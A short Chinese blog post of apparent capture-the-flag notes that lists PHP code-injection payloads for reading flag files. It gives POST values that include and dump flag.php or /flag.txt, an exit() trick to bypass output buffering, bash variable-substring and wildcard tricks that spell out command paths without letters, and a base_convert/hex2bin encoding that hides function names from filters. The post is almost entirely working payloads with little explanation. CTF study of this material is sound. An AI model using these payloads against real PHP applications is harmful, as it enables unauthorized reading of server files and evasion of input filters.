post c=include('flag.php');echo $flag;
post c=include('flag.php');var_dump(get_defined_vars());
post c=include(scandir('./')[2]);var_dump(get_defined_vars());	有些时候sandir('\')[2]会报错
post c=print_r(scandir('./'));	var_dump		var_export
post c=include('/flag.txt');

缓冲区绕过
post c=include('/flag.txt');exit();

${PATH:~A}${PWD:~A} fla?.php		${PATH}路径,~A,取最后一位的前一位
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???	${SHLVL}永远都是1
${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???		${##} ${#?}

在补充一个转码绕过的方式

<?php
echo base_convert(37907361743,10,36);
echo "\n";
echo "代码中上面的执行结果是hex2bin";
echo "\n";
echo base_convert(37907361743,10,36)((dechex(1598506324)));
echo "\n";
echo hex2bin(dechex(1598506324));
?>

如果有写得不对的地方,请师傅们斧正,感谢赏光~

posted @ 2021-07-26 17:01  upstream_yu  阅读(1849)  评论(0编辑  收藏  举报